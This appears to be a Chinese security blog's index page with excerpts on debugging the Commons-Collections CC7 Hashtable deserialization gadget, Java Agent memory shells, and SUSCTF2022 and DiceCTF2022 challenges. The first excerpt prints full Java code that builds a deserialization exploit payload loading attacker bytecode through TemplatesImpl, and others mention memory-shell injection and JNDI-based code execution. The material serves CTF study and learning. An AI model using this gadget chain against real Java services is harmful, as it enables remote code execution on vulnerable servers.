0%

CC7 hashtable反序列化原理调试

本来只是对CC各链进行了简单性的写代码复习,就是大致的记忆了CC1-7的各个链触发方式和利用点,但对具体触发的流程并不甚熟悉。昨天闲的没事把templatesImpl和CC7的hashtable缝合了一下,发现payload在触发上存在着一定的问题,然后百思不得其解,然后究极debug还是发现不了问题所在,问了下rmb神仙他和我说是时候究极跟进实现了。于是今天来debug一下

缝合代码

这份是缝合了之后看起来天衣无缝但是跑不起来的代码

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CCTemplateImpl {
    public static Object getPayload(final String command) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClazz = pool.get(TemplateImplPayloadClass.class.getName());
        byte[] classBytes = ctClazz.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templatesImpl = TemplatesImpl.class.newInstance();
        Field bf = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bf.setAccessible(true);
        bf.set(templatesImpl, targetByteCodes);

        // 进入 defineTransletClasses() 方法需要的条件
        Field nf = TemplatesImpl.class.getDeclaredField("_name");
        nf.setAccessible(true);
        nf.set(templatesImpl, "name");
        Field cf = TemplatesImpl.class.getDeclaredField("_class");
        cf.setAccessible(true);
        cf.set(templatesImpl, null);
        Field tf = TemplatesImpl.class.getDeclaredField("_tfactory");
        tf.setAccessible(true);
        tf.set(templatesImpl, new TransformerFactoryImpl());

        final Transformer[] rubbish = new Transformer[]{new ConstantTransformer(1)};
        //等会反射改,不然又打自己
        final Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[] { Templates.class },
                        new Object[] { templatesImpl } )};
        final Transformer transformerChain = new ChainedTransformer(rubbish);

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        // Use the colliding Maps as keys in Hashtable
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);


        Field f = transformerChain.getClass().getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);
        // Needed to ensure hash collision after previous manipulations
        lazyMap2.remove("yy");
        return hashtable;
    }
}
阅读全文 »

Java Agent内存马–从入门到踩坑

还是,再学点java。。。
主要是就着上次复现看看java内存马的实现,然后就看到了其中一种的java agent注入(但实际使用的多的应该还是直接反射调函数加filter,agent的操作要先写一个agent jar包上去,麻烦太多)
这个东西之前也见到过,两次,一次是burp破解,一次是cobalt strike破解
那个时候的理解大概就是这个玩意能注入进程进行hook之类的操作,这回仔细看看吧

简易环境搭建

就跟着先知上这篇文章吧。写的挺详细的
Java Agent 从入门到内存马
整体思路也是跟着这篇文章复制粘贴(当然还是自己动手写两笔,rmb神仙说了要多动手而不是多看文章)

premain && agentmain

阅读全文 »

SUSCTF2022 java复现

为什么我是SUSCTF的出题人加运维还要复现自己的比赛的java呢?
因为我是垃圾,不会java,现在开始学(其实是某天晚上想去打D3然后发现已经开赛一小时不能注册然后没事做了)
但是出题人说并不想公布环境,所以。我也就不好分享环境了

从运维的角度讲一下这次比赛这两个题反复revenge的情况和出题人的预期解吧

baby gadget1 & revenge

jdk使用的版本是8u181(上帝视角。感觉做题的时候会有点猜,这个事情赛后也被师傅们吐槽了。。。。),这个版本是LDAP Reference修复的前一个版本,也就意味着JNDI注入即可rce。但是这个题配了openrasp,执行命令会被拦截(然后我再学一下openrasp的配置)

阅读全文 »

SUSCTF2022 出题笔记

菜狗第一次承办这么大的比赛,人都麻了,呜呜。
几天高强度当客服希望能给师傅们带来好一点的体验。相较于较为官方的wp和源码,这个小小的博客记录一下出题的心路历程,以及各种碎碎念(说起来比赛到一半被某个师傅抓包博客了,幸好之前没把这些东西放上去)
官方wp
我的题目的源码以及部分poc

checkin

赛宁说要用discord以及与国际接轨,又说一血播报最好是个机器人。就脑袋一拍写了这么个东西。然后比赛全程使用英文,然后我的Chinglish遭到了许多师傅的吐槽。呜呜,因为我的智力条件你也知道.jpg

没有任何的难度,如果你仔细看了题目描述的话。。。PM的意思是private message,再翻译一下就是私聊。。。然后bot只会在challenge-checkin频道工作,但是还是有好多人在misc频道疯狂发>PM之类的东西,麻了。我在里面反复提醒,大伙也不看历史记录,就憨憨的在里面狂发,感到无奈。。。

阅读全文 »

DiceCTF2022究极坐牢

太难了,我直接坐牢

十个web复现都不知道要复现到什么时候
当然,赛时被300解的最简单web爆杀,第二天勉强看了下题等wp了
为什么我这么垃圾呢

说起来他们的web题目都挺短小精悍的,我看的几个题代码都不长,真是tql

(看完几个wp之后感觉都不是特别特别难。。。但是knock-knock这个题看了一个下午我就麻了。。呜呜,早知道快速切换看题了)

阅读全文 »